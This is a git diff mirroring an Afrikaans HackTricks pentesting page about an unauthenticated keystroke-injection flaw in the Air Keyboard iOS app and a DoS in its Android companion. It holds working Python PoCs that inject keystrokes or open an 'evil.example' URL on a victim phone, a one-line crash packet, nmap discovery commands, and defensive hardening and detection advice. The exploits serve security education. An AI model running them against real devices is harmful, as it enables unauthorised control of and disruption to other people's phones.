mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/ios-pentesting/air-keyboard-remote-in
This commit is contained in:
parent
e4ea7d5da4
commit
ecca3bd009
@ -1,18 +1,25 @@
|
|||||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
|
# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## TL;DR
|
## TL;DR
|
||||||
|
|
||||||
Die iOS weergawe van die kommersiële "Air Keyboard" toepassing (App Store ID 6463187929) open 'n **duidelike teks TCP diens op poort 8888** wat toetsaanslag rame **sonder enige outentisering** aanvaar. Enige toestel op dieselfde Wi-Fi netwerk kan met daardie poort verbind en arbitrêre sleutelbordinvoer in die slagoffer se foon inspuit, wat **volledige afstandsinteraksie oorname** bereik.
|
Die iOS weergawe van die kommersiële **“Air Keyboard”** toepassing (App Store ID 6463187929) stel 'n plaaslike netwerkdiens bloot wat **toetsaanslag rame aanvaar sonder enige verifikasie of oorsprong verifikasie**. Afhangende van die geïnstalleerde weergawe is die diens of:
|
||||||
|
|
||||||
'n Genoot Android weergawe luister op **poort 55535**. Dit voer 'n swak AES-ECB handdruk uit, maar vervaardigde rommel veroorsaak 'n **onbehandelde uitsondering in die OpenSSL ontsleuteling roetine**, wat die agtergrond diens laat crash (**DoS**).
|
* **≤ 1.0.4** – rou TCP luisteraar op **poort 8888** wat 'n 2-byte lengte kop volg deur 'n *device-id* en die ASCII payload verwag.
|
||||||
|
* **≥ 1.0.5 (Junie 2025)** – **WebSocket** luisteraar op die *dieselfde* poort (**8888**) wat **JSON** sleutels soos `{"type":1,"text":"…"}` ontleed.
|
||||||
|
|
||||||
|
Enige toestel op die dieselfde Wi-Fi / subnet kan dus **arbitraire sleutelbordinvoer in die slagoffer se foon inspuit, wat volle afstandsinteraksie oorname bereik**. 'n Genoot Android weergawe luister op **poort 55535**. Dit voer 'n swak AES-ECB handdruk uit, maar vervaardigde rommel veroorsaak steeds 'n **onbehandelde uitsondering binne OpenSSL**, wat die agtergronddiens laat crash (**DoS**).
|
||||||
|
|
||||||
|
> Die kwesbaarheid is **nog steeds nie reggestel ten tyde van skryf (Julie 2025)** en die toepassing bly beskikbaar in die App Store.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## 1. Diens Ontdekking
|
## 1. Diens Ontdekking
|
||||||
|
|
||||||
Skandeer die plaaslike netwerk en soek na die twee vaste poorte wat deur die toepassings gebruik word:
|
Skandeer die plaaslike netwerk en soek na die twee vaste poorte wat deur die toepassings gebruik word:
|
||||||
```bash
|
```bash
|
||||||
# iOS (input-injection)
|
# iOS (unauthenticated input-injection)
|
||||||
nmap -p 8888 --open 192.168.1.0/24
|
nmap -p 8888 --open 192.168.1.0/24
|
||||||
|
|
||||||
# Android (weakly-authenticated service)
|
# Android (weakly-authenticated service)
|
||||||
@ -20,72 +27,146 @@ nmap -p 55535 --open 192.168.1.0/24
|
|||||||
```
|
```
|
||||||
Op Android-toestelle kan jy die verantwoordelike pakket plaaslik identifiseer:
|
Op Android-toestelle kan jy die verantwoordelike pakket plaaslik identifiseer:
|
||||||
```bash
|
```bash
|
||||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||||
|
|
||||||
# rooted device / Termux
|
# rooted device / Termux
|
||||||
netstat -tulpn | grep LISTEN
|
netstat -tulpn | grep LISTEN
|
||||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||||
```
|
```
|
||||||
## 2. Raamformaat (iOS)
|
Op **jailbroken iOS** kan jy iets soortgelyks doen met `lsof -i -nP | grep LISTEN | grep 8888`.
|
||||||
|
|
||||||
Die binêre onthul die volgende ontledingslogika binne die `handleInputFrame()` roetine:
|
---
|
||||||
|
|
||||||
|
## 2. Protokol Besonderhede (iOS)
|
||||||
|
|
||||||
|
### 2.1 Erfenis (≤ 1.0.4) – pasgemaakte binêre rame
|
||||||
```
|
```
|
||||||
[length (2 bytes little-endian)]
|
[length (2 bytes little-endian)]
|
||||||
[device_id (1 byte)]
|
[device_id (1 byte)]
|
||||||
[payload ASCII keystrokes]
|
[payload ASCII keystrokes]
|
||||||
```
|
```
|
||||||
Die verklaarde lengte sluit die `device_id` byte **maar nie** die twee-byte kop self in nie.
|
Die verklaarde *lengte* sluit die `device_id` byte **maar nie** die twee-byte kop self in nie.
|
||||||
|
|
||||||
|
### 2.2 Huidig (≥ 1.0.5) – JSON oor WebSocket
|
||||||
|
|
||||||
|
Weergawe 1.0.5 het stilweg na WebSockets gemigreer terwyl die poortnommer onveranderd gebly het. 'n Minimale toetsaanslag lyk soos:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"type": 1, // 1 = insert text, 2 = special key
|
||||||
|
"text": "open -a Calculator\n",
|
||||||
|
"mode": 0,
|
||||||
|
"shiftKey": false,
|
||||||
|
"selectionStart": 0,
|
||||||
|
"selectionEnd": 0
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Geen handdruk, token of handtekening is nodig nie – die eerste JSON objek stimuleer reeds die UI gebeurtenis.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## 3. Exploit PoC
|
## 3. Exploit PoC
|
||||||
|
|
||||||
|
### 3.1 Teiken ≤ 1.0.4 (rauwe TCP)
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
|
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
|
||||||
import socket, sys
|
import socket, sys
|
||||||
|
|
||||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||||
|
|
||||||
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||||
frame += keystrokes
|
frame += keystrokes
|
||||||
|
|
||||||
with socket.create_connection((target_ip, 8888)) as s:
|
with socket.create_connection((target_ip, 8888)) as s:
|
||||||
s.sendall(frame)
|
s.sendall(frame)
|
||||||
print("Injected", keystrokes)
|
print("[+] Injected", keystrokes)
|
||||||
```
|
```
|
||||||
Enige drukbare ASCII (insluitend `\n`, `\r`, spesiale sleutels, ens.) kan gestuur word, wat die aanvaller effektief dieselfde mag gee as fisiese gebruikersinvoer: om programme te begin, IM's te stuur, phishing-URL's te besoek, ens.
|
### 3.2 Teiken ≥ 1.0.5 (WebSocket)
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
|
||||||
|
import json, sys, websocket # `pip install websocket-client`
|
||||||
|
|
||||||
|
target_ip = sys.argv[1]
|
||||||
|
ws = websocket.create_connection(f"ws://{target_ip}:8888")
|
||||||
|
ws.send(json.dumps({
|
||||||
|
"type": 1,
|
||||||
|
"text": "https://evil.example\n",
|
||||||
|
"mode": 0,
|
||||||
|
"shiftKey": False,
|
||||||
|
"selectionStart": 0,
|
||||||
|
"selectionEnd": 0
|
||||||
|
}))
|
||||||
|
ws.close()
|
||||||
|
print("[+] URL opened on target browser")
|
||||||
|
```
|
||||||
|
*Enige drukbare ASCII — insluitend reëlvoeding, tabulatoren en die meeste spesiale sleutels — kan gestuur word, wat die aanvaller dieselfde mag gee as fisiese gebruikersinvoer: toepassings begin, IM's stuur, kwaadwillige URL's oopmaak, instellings wissel, ens.*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## 4. Android Companion – Denial-of-Service
|
## 4. Android Companion – Denial-of-Service
|
||||||
|
|
||||||
Die Android-poort (55535) verwag 'n 4-karakter wagwoord wat geënkripteer is met 'n **hard-gecodeerde AES-128-ECB sleutel** gevolg deur 'n willekeurige nonce. Parsingsfoute beland by `AES_decrypt()` en word nie opgevang nie, wat die luisterdraad beëindig. 'n Enkele verkeerd gevormde pakket is dus genoeg om wettige gebruikers af te sluit totdat die proses weer herbegin word.
|
Die Android-poort (55535) verwag 'n **4-karakter wagwoord wat met 'n hard-gecodeerde AES-128-ECB-sleutel geënkripteer is** gevolg deur 'n ewekansige nonce. Parsingsfoute borrel op na `AES_decrypt()` en word nie opgevang nie, wat die luisterdraad beëindig. 'n Enkele verkeerd gevormde pakket is dus voldoende om wettige gebruikers af te sluit totdat die proses weer herbegin word.
|
||||||
```python
|
```python
|
||||||
import socket
|
import socket
|
||||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||||
```
|
```
|
||||||
## 5. Wortel Oorsaak
|
---
|
||||||
|
|
||||||
1. **Geen oorsprong / integriteit kontrole** op inkomende rame (iOS).
|
## 5. Verwante Programme – 'n Herhalende Anti-Patroon
|
||||||
|
|
||||||
|
Air Keyboard is **nie 'n geïsoleerde geval** nie. Ander mobiele “remote keyboard/mouse” nutsgoed het met dieselfde fout verskyn:
|
||||||
|
|
||||||
|
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 laat nie-geauthentiseerde opdraguitvoering en plain-text sleutel-loging toe.
|
||||||
|
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 nie-geauthentiseerde RCE & verkeer snooping.
|
||||||
|
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 standaard-nie-wagwoord, swak PIN brute-force en duidelike teks lekkasie.
|
||||||
|
|
||||||
|
Hierdie gevalle beklemtoon 'n sistemiese verwaarlosing van **netwerk-gefokusde aanvaloppervlakke op mobiele programme**.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Wortel Oorsake
|
||||||
|
|
||||||
|
1. **Geen oorsprong / integriteit kontroles** op inkomende rame (iOS).
|
||||||
2. **Kryptografiese misbruik** (statische sleutel, ECB, ontbrekende lengte validasie) en **gebrek aan uitsondering hantering** (Android).
|
2. **Kryptografiese misbruik** (statische sleutel, ECB, ontbrekende lengte validasie) en **gebrek aan uitsondering hantering** (Android).
|
||||||
|
3. **Gebruiker-toegepaste Plaaslike-Netwerk regte ≠ sekuriteit** – iOS vra runtime toestemming vir LAN verkeer, maar dit vervang nie behoorlike outentisering nie.
|
||||||
|
|
||||||
## 6. Versagtings & Versterking Idees
|
---
|
||||||
|
|
||||||
* Moet nooit nie-geoutentiseerde dienste op 'n mobiele toestel blootstel nie.
|
## 7. Versterking & Verdedigende Maatreëls
|
||||||
* Ontleed per-toestel geheime tydens aanmelding en verifieer dit voordat invoer verwerk word.
|
|
||||||
* Bind die luisteraar aan `127.0.0.1` en gebruik 'n wederkerig geoutentiseerde, versleutelde vervoer (bv., TLS, Noise) vir afstandbeheer.
|
Ontwikkelaar aanbevelings:
|
||||||
* Ontdek onverwagte oop poorte tydens mobiele sekuriteits hersienings (`netstat`, `lsof`, `frida-trace` op `socket()` ens.).
|
|
||||||
* As 'n eindgebruiker: deïnstalleer Air Keyboard of gebruik dit slegs op vertroude, geïsoleerde Wi-Fi-netwerke.
|
* Bind die luisteraar aan **`127.0.0.1`** en tunnel oor **mTLS** of **Noise XX** indien afstandbeheer benodig word.
|
||||||
|
* Ontleed **per-toestel geheime tydens onboarding** (bv. QR-kode of Paar PIN) en handhaaf *mutuele* outentisering voordat invoer verwerk word.
|
||||||
|
* Neem **Apple Network Framework** aan met *NWListener* + TLS in plaas van rou sokke.
|
||||||
|
* Implementeer **lengte-prefix gesondheidskontroles** en gestruktureerde uitsondering hantering wanneer rame gedekript of gedecodeer word.
|
||||||
|
|
||||||
|
Blou-/Rooi-span vinnige oorwinnings:
|
||||||
|
|
||||||
|
* **Netwerk jag:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` of Wireshark filter `tcp.port == 8888`.
|
||||||
|
* **Runtime inspeksie:** Frida skrip wat `socket()`/`NWConnection` haak om onverwagte luisteraars te lys.
|
||||||
|
* **iOS App Privaatheid Verslag (Instellings ▸ Privaatheid & Sekuriteit ▸ App Privaatheid Verslag)** beklemtoon programme wat LAN adresse kontak – nuttig om rogue dienste op te spoor.
|
||||||
|
* **Mobiele EDRs** kan eenvoudige Yara-L reëls vir die JSON sleutels `"selectionStart"`, `"selectionEnd"` binne duidelike teks TCP payloads op poort 8888 byvoeg.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Opsporing Cheat-Sheet (Pentesters)
|
## Opsporing Cheat-Sheet (Pentesters)
|
||||||
```bash
|
```bash
|
||||||
# Quick one-liner to locate vulnerable devices in a /24
|
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
|
||||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
|
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
|
||||||
|
| awk '/Ports/{print $2 " " $4}'
|
||||||
|
|
||||||
# Inspect running sockets on a connected Android target
|
# Inspect running sockets on a connected Android target
|
||||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
|
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
|
||||||
|
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
|
||||||
```
|
```
|
||||||
|
---
|
||||||
|
|
||||||
## Verwysings
|
## Verwysings
|
||||||
|
|
||||||
- [Afgeleë Invoer Inspuitingskwesbaarheid in Air Keyboard iOS App Nog Steeds Onopgelos](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
|
||||||
- [CXSecurity advies WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
|
- [Mobile-Hacker Blog (17 Jul 2025) – Remote Input Injection Kwetsbaarheid in Air Keyboard iOS App Nog Steeds Nie Gepatch nie](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user